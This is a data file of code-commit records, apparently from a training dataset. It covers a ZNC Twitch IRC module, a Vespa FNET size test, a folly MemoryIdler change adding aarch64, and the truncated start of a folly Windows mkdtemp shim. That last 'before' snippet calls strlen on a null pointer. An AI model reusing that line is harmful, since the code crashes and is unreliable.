if(msg.GetCommand().Equals(\"CLEARCHAT\"))\n\t{\n\t\tmsg.SetCommand(\"NOTICE\");\n\t\tif(msg.GetParam(1) != \"\")\n\t\t{\n\t\t\tmsg.SetParam(1, msg.GetParam(1) + \" was timed out.\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tmsg.SetParam(1, \"Chat was cleared by a moderator.\");\n\t\t}\n\t}\n\telse if(msg.GetCommand().Equals(\"USERSTATE\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"ROOMSTATE\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"RECONNECT\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"GLOBALUSERSTATE\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"WHISPER\"))\n\t{\n\t\tmsg.SetCommand(\"PRIVMSG\");\n\t}\n\telse if(msg.GetCommand().Equals(\"USERNOTICE\"))\n\t{\n\t\t\/\/TODO: Translate Tags to useful message\n\t\tmsg.SetCommand(\"PRIVMSG\");\n\t\tmsg.SetParam(1, \"<<<RESUB>>> \" + msg.GetParam(1));\n\t}\n\n\tCString realNick = msg.GetTag(\"display-name\").Trim_n();\n\tif(realNick != \"\")\n\t\tmsg.GetNick().SetNick(realNick);\n\n\treturn CModule::CONTINUE;\n}\n\nCModule::EModRet TwitchTMI::OnUserJoin(CString& sChannel, CString& sKey)\n{\n\tCString chname = sChannel.substr(1);\n\tCThreadPool::Get().addJob(new TwitchTMIJob(this, chname));\n\n\treturn CModule::CONTINUE;\n}\n\nCModule::EModRet TwitchTMI::OnPrivMessage(CTextMessage &Message)\n{\n\tif(Message.GetNick().GetNick().Equals(\"jtv\"))\n\t\treturn CModule::HALT;\n\n\treturn CModule::CONTINUE;\n}\n\nvoid TwitchTMI::PutUserChanMessage(CChan *chan, const CString &from, const CString &msg)\n{\n\tstd::stringstream ss;\n\tss << \":\" << from << \" PRIVMSG \" << chan->GetName() << \" :\";\n\tCString s = ss.str();\n\n\tPutUser(s + msg);\n\n\tif(!chan->AutoClearChanBuffer() || !GetNetwork()->IsUserOnline() || chan->IsDetached())\n\t\tchan->AddBuffer(s + \"{text}\", msg);\n}\n\nCModule::EModRet TwitchTMI::OnChanMessage(CTextMessage &Message)\n{\n\tif(Message.GetNick().GetNick().Equals(\"jtv\"))\n\t\treturn CModule::HALT;\n\n\tif(Message.GetText() == \"FrankerZ\" && std::time(nullptr) - lastFrankerZ > 10)\n\t{\n\t\tstd::stringstream ss;\n\t\tCString mynick = GetNetwork()->GetIRCNick().GetNickMask();\n\t\tCChan *chan = Message.GetChan();\n\n\t\tss << \"PRIVMSG \" << chan->GetName() << \" :FrankerZ\";\n\t\tPutIRC(ss.str());\n\n\t\tCThreadPool::Get().addJob(new GenericJob([]() {}, [this, chan, mynick]()\n\t\t{\n\t\t\tPutUserChanMessage(chan, mynick, \"FrankerZ\");\n\t\t}));\n\n\t\tlastFrankerZ = std::time(nullptr);\n\t}\n\n\treturn CModule::CONTINUE;\n}\n\nbool TwitchTMI::OnServerCapAvailable(const CString &sCap)\n{\n\tif(sCap == \"twitch.tv\/membership\")\n\t\treturn true;\n\telse if(sCap == \"twitch.tv\/tags\")\n\t\treturn true;\n\telse if(sCap == \"twitch.tv\/commands\")\n\t\treturn true;\n\n\treturn false;\n}\n\nCModule::EModRet TwitchTMI::OnUserTextMessage(CTextMessage &msg)\n{\n\tif(msg.GetTarget().Left(1).Equals(\"#\"))\n\t\treturn CModule::CONTINUE;\n\n\tmsg.SetText(msg.GetText().insert(0, \" \").insert(0, msg.GetTarget()).insert(0, \"\/w \"));\n\tmsg.SetTarget(\"#jtv\");\n\n\treturn CModule::CONTINUE;\n}\n\n\nTwitchTMIUpdateTimer::TwitchTMIUpdateTimer(TwitchTMI *tmod)\n\t:CTimer(tmod, 30, 0, \"TwitchTMIUpdateTimer\", \"Downloads Twitch information\")\n\t,mod(tmod)\n{\n}\n\nvoid TwitchTMIUpdateTimer::RunJob()\n{\n\tif(!mod->GetNetwork())\n\t\treturn;\n\n\tfor(CChan *chan: mod->GetNetwork()->GetChans())\n\t{\n\t\tCString chname = chan->GetName().substr(1);\n\t\tCThreadPool::Get().addJob(new TwitchTMIJob(mod, chname));\n\t}\n}\n\n\nvoid TwitchTMIJob::runThread()\n{\n\tstd::stringstream ss, ss2;\n\tss << \"https:\/\/api.twitch.tv\/kraken\/channels\/\" << channel;\n\tss2 << \"https:\/\/api.twitch.tv\/kraken\/streams\/\" << channel;\n\n\tCString url = ss.str();\n\tCString url2 = ss2.str();\n\n\tJson::Value root = getJsonFromUrl(url.c_str(), \"Accept: application\/vnd.twitchtv.v3+json\");\n\tJson::Value root2 = getJsonFromUrl(url2.c_str(), \"Accept: application\/vnd.twitchtv.v3+json\");\n\n\tif(!root.isNull())\n\t{\n\t\tJson::Value &titleVal = root[\"status\"];\n\t\ttitle = CString();\n\n\t\tif(!titleVal.isString())\n\t\t\ttitleVal = root[\"title\"];\n\n\t\tif(titleVal.isString())\n\t\t{\n\t\t\ttitle = titleVal.asString();\n\t\t\ttitle.Trim();\n\t\t}\n\t}\n\n\tlive = false;\n\n\tif(!root2.isNull())\n\t{\n\t\tJson::Value &streamVal = root2[\"stream\"];\n\n\t\tif(!streamVal.isNull())\n\t\t\tlive = true;\n\t}\n}\n\nvoid TwitchTMIJob::runMain()\n{\n\tif(title.empty())\n\t\treturn;\n\n\tCChan *chan = mod->GetNetwork()->FindChan(CString(\"#\") + channel);\n\n\tif(!chan)\n\t\treturn;\n\n\tif(chan->GetTopic() != title)\n\t{\n\t\tchan->SetTopic(title);\n\t\tchan->SetTopicOwner(\"jtv\");\n\t\tchan->SetTopicDate((unsigned long)time(nullptr));\n\n\t\tstd::stringstream ss;\n\t\tss << \":jtv TOPIC #\" << channel << \" :\" << title;\n\n\t\tmod->PutUser(ss.str());\n\t}\n\n\tauto it = mod->liveChannels.find(channel);\n\tif(it != mod->liveChannels.end())\n\t{\n\t\tif(!live)\n\t\t{\n\t\t\tmod->liveChannels.erase(it);\n\t\t\tmod->PutUserChanMessage(chan, \"jtv\", \">>> Channel just went offline! <<<\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tif(live)\n\t\t{\n\t\t\tmod->liveChannels.insert(channel);\n\t\t\tmod->PutUserChanMessage(chan, \"jtv\", \">>> Channel just went live! <<<\");\n\t\t}\n\t}\n}\n\n\ntemplate<> void TModInfo<TwitchTMI>(CModInfo &info)\n{\n\tinfo.SetWikiPage(\"Twitch\");\n\tinfo.SetHasArgs(true);\n}\n\nNETWORKMODULEDEFS(TwitchTMI, \"Twitch IRC helper module\")\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include <vespa\/vespalib\/testkit\/test_kit.h>\n#include <vespa\/fnet\/frt\/frt.h>\n#include <mutex>\n#include <condition_variable>\n \nstruct RPC : public FRT_Invokable\n{\n  void GetInfo(FRT_RPCRequest *req)\n  {\n    req->GetReturn()->AddString(\"fastos X current\");\n    req->GetReturn()->AddString(FNET_Info::GetFNETVersion());\n    const char *endian_str = \"UNKNOWN\";\n    if (FNET_Info::GetEndian() == FNET_Info::ENDIAN_LITTLE)\n      endian_str = \"LITTLE\";\n    if (FNET_Info::GetEndian() == FNET_Info::ENDIAN_BIG)\n      endian_str = \"BIG\";\n    req->GetReturn()->AddString(endian_str);\n    req->GetReturn()->AddInt32(FD_SETSIZE);\n    req->GetReturn()->AddInt32(sizeof(FRT_RPCRequest));\n  }\n\n  void Init(FRT_Supervisor *s)\n  {\n    FRT_ReflectionBuilder rb(s);\n    \/\/-------------------------------------------------------------------\n    rb.DefineMethod(\"getInfo\", \"\", \"sssii\", true,\n                    FRT_METHOD(RPC::GetInfo), this);\n    \/\/ FastOS version\n    \/\/ FNET version\n    \/\/ endian\n    \/\/ FD_SETSIZE\n    \/\/ req object size\n    \/\/-------------------------------------------------------------------\n  }\n};\n\nTEST(\"info\") {\n    RPC rpc;\n    FRT_Supervisor orb;\n    char spec[64];\n    rpc.Init(&orb);\n    ASSERT_TRUE(orb.Listen(\"tcp\/0\"));\n    sprintf(spec, \"tcp\/localhost:%d\", orb.GetListenPort());\n    ASSERT_TRUE(orb.Start());\n\n    FRT_Target     *target      = orb.GetTarget(spec);\n    FRT_RPCRequest *local_info  = orb.AllocRPCRequest();\n    FRT_RPCRequest *remote_info = orb.AllocRPCRequest();\n\n    rpc.GetInfo(local_info);\n    remote_info->SetMethodName(\"getInfo\");\n    target->InvokeSync(remote_info, 10.0);\n    EXPECT_FALSE(remote_info->IsError());\n\n    FRT_Values &l = *local_info->GetReturn();\n \/\/ FRT_Values &r = *remote_info->GetReturn();\n\n    fprintf(stderr, \"FastOS Version: %s\\n\", l[0]._string._str);\n    fprintf(stderr, \"FNET Version: %s\\n\", l[1]._string._str);\n    fprintf(stderr, \"Endian: %s\\n\", l[2]._string._str);\n    fprintf(stderr, \"FD_SETSIZE: %d\\n\", l[3]._intval32);\n    fprintf(stderr, \"sizeof(FRT_RPCRequest): %d\\n\", l[4]._intval32);\n\n    target->SubRef();\n    local_info->SubRef();\n    remote_info->SubRef();\n    orb.ShutDown(true);\n};\n\nTEST(\"size of important objects\")\n{\n    EXPECT_EQUAL(184u, sizeof(FNET_IOComponent));\n    EXPECT_EQUAL(32u, sizeof(FNET_Channel));\n    EXPECT_EQUAL(40u, sizeof(FNET_PacketQueue_NoLock));\n    EXPECT_EQUAL(536u, sizeof(FNET_Connection));\n    EXPECT_EQUAL(96u, sizeof(FNET_Cond));\n    EXPECT_EQUAL(56u, sizeof(FNET_DataBuffer));\n    EXPECT_EQUAL(24u, sizeof(FastOS_Time));\n    EXPECT_EQUAL(8u, sizeof(FNET_Context));\n    EXPECT_EQUAL(8u, sizeof(fastos::TimeStamp));\n    EXPECT_EQUAL(48u, sizeof(FastOS_Mutex));\n    EXPECT_EQUAL(40u, sizeof(pthread_mutex_t));\n    EXPECT_EQUAL(48u, sizeof(pthread_cond_t));\n    EXPECT_EQUAL(40u, sizeof(std::mutex));\n    EXPECT_EQUAL(48u, sizeof(std::condition_variable));\n}\n\nTEST_MAIN() { TEST_RUN_ALL(); }\n<commit_msg>Update with current size<commit_after>\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include <vespa\/vespalib\/testkit\/test_kit.h>\n#include <vespa\/fnet\/frt\/frt.h>\n#include <mutex>\n#include <condition_variable>\n \nstruct RPC : public FRT_Invokable\n{\n  void GetInfo(FRT_RPCRequest *req)\n  {\n    req->GetReturn()->AddString(\"fastos X current\");\n    req->GetReturn()->AddString(FNET_Info::GetFNETVersion());\n    const char *endian_str = \"UNKNOWN\";\n    if (FNET_Info::GetEndian() == FNET_Info::ENDIAN_LITTLE)\n      endian_str = \"LITTLE\";\n    if (FNET_Info::GetEndian() == FNET_Info::ENDIAN_BIG)\n      endian_str = \"BIG\";\n    req->GetReturn()->AddString(endian_str);\n    req->GetReturn()->AddInt32(FD_SETSIZE);\n    req->GetReturn()->AddInt32(sizeof(FRT_RPCRequest));\n  }\n\n  void Init(FRT_Supervisor *s)\n  {\n    FRT_ReflectionBuilder rb(s);\n    \/\/-------------------------------------------------------------------\n    rb.DefineMethod(\"getInfo\", \"\", \"sssii\", true,\n                    FRT_METHOD(RPC::GetInfo), this);\n    \/\/ FastOS version\n    \/\/ FNET version\n    \/\/ endian\n    \/\/ FD_SETSIZE\n    \/\/ req object size\n    \/\/-------------------------------------------------------------------\n  }\n};\n\nTEST(\"info\") {\n    RPC rpc;\n    FRT_Supervisor orb;\n    char spec[64];\n    rpc.Init(&orb);\n    ASSERT_TRUE(orb.Listen(\"tcp\/0\"));\n    sprintf(spec, \"tcp\/localhost:%d\", orb.GetListenPort());\n    ASSERT_TRUE(orb.Start());\n\n    FRT_Target     *target      = orb.GetTarget(spec);\n    FRT_RPCRequest *local_info  = orb.AllocRPCRequest();\n    FRT_RPCRequest *remote_info = orb.AllocRPCRequest();\n\n    rpc.GetInfo(local_info);\n    remote_info->SetMethodName(\"getInfo\");\n    target->InvokeSync(remote_info, 10.0);\n    EXPECT_FALSE(remote_info->IsError());\n\n    FRT_Values &l = *local_info->GetReturn();\n \/\/ FRT_Values &r = *remote_info->GetReturn();\n\n    fprintf(stderr, \"FastOS Version: %s\\n\", l[0]._string._str);\n    fprintf(stderr, \"FNET Version: %s\\n\", l[1]._string._str);\n    fprintf(stderr, \"Endian: %s\\n\", l[2]._string._str);\n    fprintf(stderr, \"FD_SETSIZE: %d\\n\", l[3]._intval32);\n    fprintf(stderr, \"sizeof(FRT_RPCRequest): %d\\n\", l[4]._intval32);\n\n    target->SubRef();\n    local_info->SubRef();\n    remote_info->SubRef();\n    orb.ShutDown(true);\n};\n\nTEST(\"size of important objects\")\n{\n    EXPECT_EQUAL(184u, sizeof(FNET_IOComponent));\n    EXPECT_EQUAL(32u, sizeof(FNET_Channel));\n    EXPECT_EQUAL(40u, sizeof(FNET_PacketQueue_NoLock));\n    EXPECT_EQUAL(480u, sizeof(FNET_Connection));\n    EXPECT_EQUAL(96u, sizeof(FNET_Cond));\n    EXPECT_EQUAL(56u, sizeof(FNET_DataBuffer));\n    EXPECT_EQUAL(24u, sizeof(FastOS_Time));\n    EXPECT_EQUAL(8u, sizeof(FNET_Context));\n    EXPECT_EQUAL(8u, sizeof(fastos::TimeStamp));\n    EXPECT_EQUAL(48u, sizeof(FastOS_Mutex));\n    EXPECT_EQUAL(40u, sizeof(pthread_mutex_t));\n    EXPECT_EQUAL(48u, sizeof(pthread_cond_t));\n    EXPECT_EQUAL(40u, sizeof(std::mutex));\n    EXPECT_EQUAL(48u, sizeof(std::condition_variable));\n}\n\nTEST_MAIN() { TEST_RUN_ALL(); }\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <folly\/detail\/MemoryIdler.h>\n\n#include <climits>\n#include <cstdio>\n#include <cstring>\n#include <utility>\n\n#include <folly\/GLog.h>\n#include <folly\/Portability.h>\n#include <folly\/ScopeGuard.h>\n#include <folly\/concurrency\/CacheLocality.h>\n#include <folly\/memory\/MallctlHelper.h>\n#include <folly\/memory\/Malloc.h>\n#include <folly\/portability\/GFlags.h>\n#include <folly\/portability\/PThread.h>\n#include <folly\/portability\/SysMman.h>\n#include <folly\/portability\/Unistd.h>\n\nDEFINE_bool(\n    folly_memory_idler_purge_arenas,\n    true,\n    \"if enabled, folly memory-idler purges jemalloc arenas on thread idle\");\n\nnamespace folly {\nnamespace detail {\n\nAtomicStruct<std::chrono::steady_clock::duration>\n    MemoryIdler::defaultIdleTimeout(std::chrono::seconds(5));\n\nvoid MemoryIdler::flushLocalMallocCaches() {\n  if (!usingJEMalloc()) {\n    return;\n  }\n  if (!mallctl || !mallctlnametomib || !mallctlbymib) {\n    FB_LOG_EVERY_MS(ERROR, 10000) << \"mallctl* weak link failed\";\n    return;\n  }\n\n  \/\/ Not using mallctlCall as this will fail if tcache is disabled.\n  mallctl(\"thread.tcache.flush\", nullptr, nullptr, nullptr, 0);\n\n  if (FLAGS_folly_memory_idler_purge_arenas) {\n    try {\n      \/\/ By default jemalloc has 4 arenas per cpu, and then assigns each\n      \/\/ thread to one of those arenas.  This means that in any service\n      \/\/ that doesn't perform a lot of context switching, the chances that\n      \/\/ another thread will be using the current thread's arena (and hence\n      \/\/ doing the appropriate dirty-page purging) are low.  Some good\n      \/\/ tuned configurations (such as that used by hhvm) use fewer arenas\n      \/\/ and then pin threads to avoid contended access.  In that case,\n      \/\/ purging the arenas is counter-productive.  We use the heuristic\n      \/\/ that if narenas <= 2 * num_cpus then we shouldn't do anything here,\n      \/\/ which detects when the narenas has been reduced from the default\n      unsigned narenas;\n      unsigned arenaForCurrent;\n      size_t mib[3];\n      size_t miblen = 3;\n\n      mallctlRead(\"opt.narenas\", &narenas);\n      mallctlRead(\"thread.arena\", &arenaForCurrent);\n      if (narenas > 2 * CacheLocality::system().numCpus &&\n          mallctlnametomib(\"arena.0.purge\", mib, &miblen) == 0) {\n        mib[1] = static_cast<size_t>(arenaForCurrent);\n        mallctlbymib(mib, miblen, nullptr, nullptr, nullptr, 0);\n      }\n    } catch (const std::runtime_error& ex) {\n      FB_LOG_EVERY_MS(WARNING, 10000) << ex.what();\n    }\n  }\n}\n\n\/\/ Stack madvise isn't Linux or glibc specific, but the system calls\n\/\/ and arithmetic (and bug compatibility) are not portable.  The set of\n\/\/ platforms could be increased if it was useful.\n#if (FOLLY_X64 || FOLLY_PPC64) && defined(_GNU_SOURCE) && \\\n    defined(__linux__) && !FOLLY_MOBILE && !FOLLY_SANITIZE_ADDRESS\n\nstatic thread_local uintptr_t tls_stackLimit;\nstatic thread_local size_t tls_stackSize;\n\nstatic size_t pageSize() {\n  static const size_t s_pageSize = sysconf(_SC_PAGESIZE);\n  return s_pageSize;\n}\n\nstatic void fetchStackLimits() {\n  int err;\n  pthread_attr_t attr;\n  if ((err = pthread_getattr_np(pthread_self(), &attr))) {\n    \/\/ some restricted environments can't access \/proc\n    FB_LOG_ONCE(ERROR) << \"pthread_getaddr_np failed errno=\" << err;\n    tls_stackSize = 1;\n    return;\n  }\n  SCOPE_EXIT { pthread_attr_destroy(&attr); };\n\n  void* addr;\n  size_t rawSize;\n  if ((err = pthread_attr_getstack(&attr, &addr, &rawSize))) {\n    \/\/ unexpected, but it is better to continue in prod than do nothing\n    FB_LOG_ONCE(ERROR) << \"pthread_attr_getstack error \" << err;\n    assert(false);\n    tls_stackSize = 1;\n    return;\n  }\n  if (rawSize >= (1ULL << 32)) {\n    \/\/ Avoid unmapping huge swaths of memory if there is an insane\n    \/\/ stack size.  The boundary of sanity is somewhat arbitrary: 4GB.\n    \/\/\n    \/\/ If we went into \/proc to find the actual contiguous mapped pages\n    \/\/ before unmapping we wouldn't care about the stack size at all,\n    \/\/ but our current strategy is to unmap the entire range that might\n    \/\/ be used for the stack even if it hasn't been fully faulted-in.\n    \/\/\n    \/\/ Very large stack size is a bug (hence the assert), but we can\n    \/\/ carry on if we are in prod.\n    FB_LOG_ONCE(ERROR) << \"pthread_attr_getstack returned insane stack size \"\n                       << rawSize;\n    assert(false);\n    tls_stackSize = 1;\n    return;\n  }\n  assert(addr != nullptr);\n  assert(\n      0 < PTHREAD_STACK_MIN &&\n      rawSize >= static_cast<size_t>(PTHREAD_STACK_MIN));\n\n  \/\/ glibc subtracts guard page from stack size, even though pthread docs\n  \/\/ seem to imply the opposite\n  size_t guardSize;\n  if (pthread_attr_getguardsize(&attr, &guardSize) != 0) {\n    guardSize = 0;\n  }\n  assert(rawSize > guardSize);\n\n  \/\/ stack goes down, so guard page adds to the base addr\n  tls_stackLimit = reinterpret_cast<uintptr_t>(addr) + guardSize;\n  tls_stackSize = rawSize - guardSize;\n\n  assert((tls_stackLimit & (pageSize() - 1)) == 0);\n}\n\nFOLLY_NOINLINE static uintptr_t getStackPtr() {\n  char marker;\n  auto rv = reinterpret_cast<uintptr_t>(&marker);\n  return rv;\n}\n\nvoid MemoryIdler::unmapUnusedStack(size_t retain) {\n  if (tls_stackSize == 0) {\n    fetchStackLimits();\n  }\n  if (tls_stackSize <= std::max(static_cast<size_t>(1), retain)) {\n    \/\/ covers both missing stack info, and impossibly large retain\n    return;\n  }\n\n  auto sp = getStackPtr();\n  assert(sp >= tls_stackLimit);\n  assert(sp - tls_stackLimit < tls_stackSize);\n\n  auto end = (sp - retain) & ~(pageSize() - 1);\n  if (end <= tls_stackLimit) {\n    \/\/ no pages are eligible for unmapping\n    return;\n  }\n\n  size_t len = end - tls_stackLimit;\n  assert((len & (pageSize() - 1)) == 0);\n  if (madvise((void*)tls_stackLimit, len, MADV_DONTNEED) != 0) {\n    \/\/ It is likely that the stack vma hasn't been fully grown.  In this\n    \/\/ case madvise will apply dontneed to the present vmas, then return\n    \/\/ errno of ENOMEM.\n    \/\/ If thread stack pages are backed by locked or huge pages, madvise will\n    \/\/ fail with EINVAL. (EINVAL may also be returned if the address or length\n    \/\/ are bad.) Warn in debug mode, since MemoryIdler may not function as\n    \/\/ expected.\n    \/\/ We can also get an EAGAIN, theoretically.\n    PLOG_IF(WARNING, kIsDebug && errno == EINVAL) << \"madvise failed\";\n    assert(errno == EAGAIN || errno == ENOMEM || errno == EINVAL);\n  }\n}\n\n#else\n\nvoid MemoryIdler::unmapUnusedStack(size_t \/* retain *\/) {}\n\n#endif\n\n} \/\/ namespace detail\n} \/\/ namespace folly\n<commit_msg>Enable memory idler for aarch64<commit_after>\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <folly\/detail\/MemoryIdler.h>\n\n#include <climits>\n#include <cstdio>\n#include <cstring>\n#include <utility>\n\n#include <folly\/GLog.h>\n#include <folly\/Portability.h>\n#include <folly\/ScopeGuard.h>\n#include <folly\/concurrency\/CacheLocality.h>\n#include <folly\/memory\/MallctlHelper.h>\n#include <folly\/memory\/Malloc.h>\n#include <folly\/portability\/GFlags.h>\n#include <folly\/portability\/PThread.h>\n#include <folly\/portability\/SysMman.h>\n#include <folly\/portability\/Unistd.h>\n\nDEFINE_bool(\n    folly_memory_idler_purge_arenas,\n    true,\n    \"if enabled, folly memory-idler purges jemalloc arenas on thread idle\");\n\nnamespace folly {\nnamespace detail {\n\nAtomicStruct<std::chrono::steady_clock::duration>\n    MemoryIdler::defaultIdleTimeout(std::chrono::seconds(5));\n\nvoid MemoryIdler::flushLocalMallocCaches() {\n  if (!usingJEMalloc()) {\n    return;\n  }\n  if (!mallctl || !mallctlnametomib || !mallctlbymib) {\n    FB_LOG_EVERY_MS(ERROR, 10000) << \"mallctl* weak link failed\";\n    return;\n  }\n\n  \/\/ Not using mallctlCall as this will fail if tcache is disabled.\n  mallctl(\"thread.tcache.flush\", nullptr, nullptr, nullptr, 0);\n\n  if (FLAGS_folly_memory_idler_purge_arenas) {\n    try {\n      \/\/ By default jemalloc has 4 arenas per cpu, and then assigns each\n      \/\/ thread to one of those arenas.  This means that in any service\n      \/\/ that doesn't perform a lot of context switching, the chances that\n      \/\/ another thread will be using the current thread's arena (and hence\n      \/\/ doing the appropriate dirty-page purging) are low.  Some good\n      \/\/ tuned configurations (such as that used by hhvm) use fewer arenas\n      \/\/ and then pin threads to avoid contended access.  In that case,\n      \/\/ purging the arenas is counter-productive.  We use the heuristic\n      \/\/ that if narenas <= 2 * num_cpus then we shouldn't do anything here,\n      \/\/ which detects when the narenas has been reduced from the default\n      unsigned narenas;\n      unsigned arenaForCurrent;\n      size_t mib[3];\n      size_t miblen = 3;\n\n      mallctlRead(\"opt.narenas\", &narenas);\n      mallctlRead(\"thread.arena\", &arenaForCurrent);\n      if (narenas > 2 * CacheLocality::system().numCpus &&\n          mallctlnametomib(\"arena.0.purge\", mib, &miblen) == 0) {\n        mib[1] = static_cast<size_t>(arenaForCurrent);\n        mallctlbymib(mib, miblen, nullptr, nullptr, nullptr, 0);\n      }\n    } catch (const std::runtime_error& ex) {\n      FB_LOG_EVERY_MS(WARNING, 10000) << ex.what();\n    }\n  }\n}\n\n\/\/ Stack madvise isn't Linux or glibc specific, but the system calls\n\/\/ and arithmetic (and bug compatibility) are not portable.  The set of\n\/\/ platforms could be increased if it was useful.\n#if (FOLLY_X64 || FOLLY_PPC64 || FOLLY_AARCH64) && defined(_GNU_SOURCE) && \\\n    defined(__linux__) && !FOLLY_MOBILE && !FOLLY_SANITIZE_ADDRESS\n\nstatic thread_local uintptr_t tls_stackLimit;\nstatic thread_local size_t tls_stackSize;\n\nstatic size_t pageSize() {\n  static const size_t s_pageSize = sysconf(_SC_PAGESIZE);\n  return s_pageSize;\n}\n\nstatic void fetchStackLimits() {\n  int err;\n  pthread_attr_t attr;\n  if ((err = pthread_getattr_np(pthread_self(), &attr))) {\n    \/\/ some restricted environments can't access \/proc\n    FB_LOG_ONCE(ERROR) << \"pthread_getaddr_np failed errno=\" << err;\n    tls_stackSize = 1;\n    return;\n  }\n  SCOPE_EXIT { pthread_attr_destroy(&attr); };\n\n  void* addr;\n  size_t rawSize;\n  if ((err = pthread_attr_getstack(&attr, &addr, &rawSize))) {\n    \/\/ unexpected, but it is better to continue in prod than do nothing\n    FB_LOG_ONCE(ERROR) << \"pthread_attr_getstack error \" << err;\n    assert(false);\n    tls_stackSize = 1;\n    return;\n  }\n  if (rawSize >= (1ULL << 32)) {\n    \/\/ Avoid unmapping huge swaths of memory if there is an insane\n    \/\/ stack size.  The boundary of sanity is somewhat arbitrary: 4GB.\n    \/\/\n    \/\/ If we went into \/proc to find the actual contiguous mapped pages\n    \/\/ before unmapping we wouldn't care about the stack size at all,\n    \/\/ but our current strategy is to unmap the entire range that might\n    \/\/ be used for the stack even if it hasn't been fully faulted-in.\n    \/\/\n    \/\/ Very large stack size is a bug (hence the assert), but we can\n    \/\/ carry on if we are in prod.\n    FB_LOG_ONCE(ERROR) << \"pthread_attr_getstack returned insane stack size \"\n                       << rawSize;\n    assert(false);\n    tls_stackSize = 1;\n    return;\n  }\n  assert(addr != nullptr);\n  assert(\n      0 < PTHREAD_STACK_MIN &&\n      rawSize >= static_cast<size_t>(PTHREAD_STACK_MIN));\n\n  \/\/ glibc subtracts guard page from stack size, even though pthread docs\n  \/\/ seem to imply the opposite\n  size_t guardSize;\n  if (pthread_attr_getguardsize(&attr, &guardSize) != 0) {\n    guardSize = 0;\n  }\n  assert(rawSize > guardSize);\n\n  \/\/ stack goes down, so guard page adds to the base addr\n  tls_stackLimit = reinterpret_cast<uintptr_t>(addr) + guardSize;\n  tls_stackSize = rawSize - guardSize;\n\n  assert((tls_stackLimit & (pageSize() - 1)) == 0);\n}\n\nFOLLY_NOINLINE static uintptr_t getStackPtr() {\n  char marker;\n  auto rv = reinterpret_cast<uintptr_t>(&marker);\n  return rv;\n}\n\nvoid MemoryIdler::unmapUnusedStack(size_t retain) {\n  if (tls_stackSize == 0) {\n    fetchStackLimits();\n  }\n  if (tls_stackSize <= std::max(static_cast<size_t>(1), retain)) {\n    \/\/ covers both missing stack info, and impossibly large retain\n    return;\n  }\n\n  auto sp = getStackPtr();\n  assert(sp >= tls_stackLimit);\n  assert(sp - tls_stackLimit < tls_stackSize);\n\n  auto end = (sp - retain) & ~(pageSize() - 1);\n  if (end <= tls_stackLimit) {\n    \/\/ no pages are eligible for unmapping\n    return;\n  }\n\n  size_t len = end - tls_stackLimit;\n  assert((len & (pageSize() - 1)) == 0);\n  if (madvise((void*)tls_stackLimit, len, MADV_DONTNEED) != 0) {\n    \/\/ It is likely that the stack vma hasn't been fully grown.  In this\n    \/\/ case madvise will apply dontneed to the present vmas, then return\n    \/\/ errno of ENOMEM.\n    \/\/ If thread stack pages are backed by locked or huge pages, madvise will\n    \/\/ fail with EINVAL. (EINVAL may also be returned if the address or length\n    \/\/ are bad.) Warn in debug mode, since MemoryIdler may not function as\n    \/\/ expected.\n    \/\/ We can also get an EAGAIN, theoretically.\n    PLOG_IF(WARNING, kIsDebug && errno == EINVAL) << \"madvise failed\";\n    assert(errno == EAGAIN || errno == ENOMEM || errno == EINVAL);\n  }\n}\n\n#else\n\nvoid MemoryIdler::unmapUnusedStack(size_t \/* retain *\/) {}\n\n#endif\n\n} \/\/ namespace detail\n} \/\/ namespace folly\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2016 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <folly\/portability\/Stdlib.h>\n\n#ifdef _WIN32\n#include <cstring>\n#include <errno.h>\n#include <folly\/portability\/Fcntl.h>\n#include <folly\/portability\/SysStat.h>\n#include <folly\/portability\/Windows.h>\n\nextern \"C\" {\nchar* mktemp(char* tn) { return _mktemp(tn); }\n\n\/\/ While yes, this is for a directory, due to this being windows,\n\/\/ a file and directory can't have the same name, resulting in this\n\/\/ still working just fine.\nchar* mkdtemp(char* tn) {\n  char* ptr = nullptr;\n  auto len = strlen(ptr);\n  int ret = 0;\n  do {\n    strcpy(tn + len - 6, \"XXXXXX\");\n    ptr = mktemp(tn);\n    if (ptr == nullptr || *ptr == '\\0') {\n      return nullptr;\n    }\n    ret = mkdir(ptr, 0700);\n    if (ret != 0 && errno != EEXIST) {\n      return nullptr;\n    }\n  } while (ret 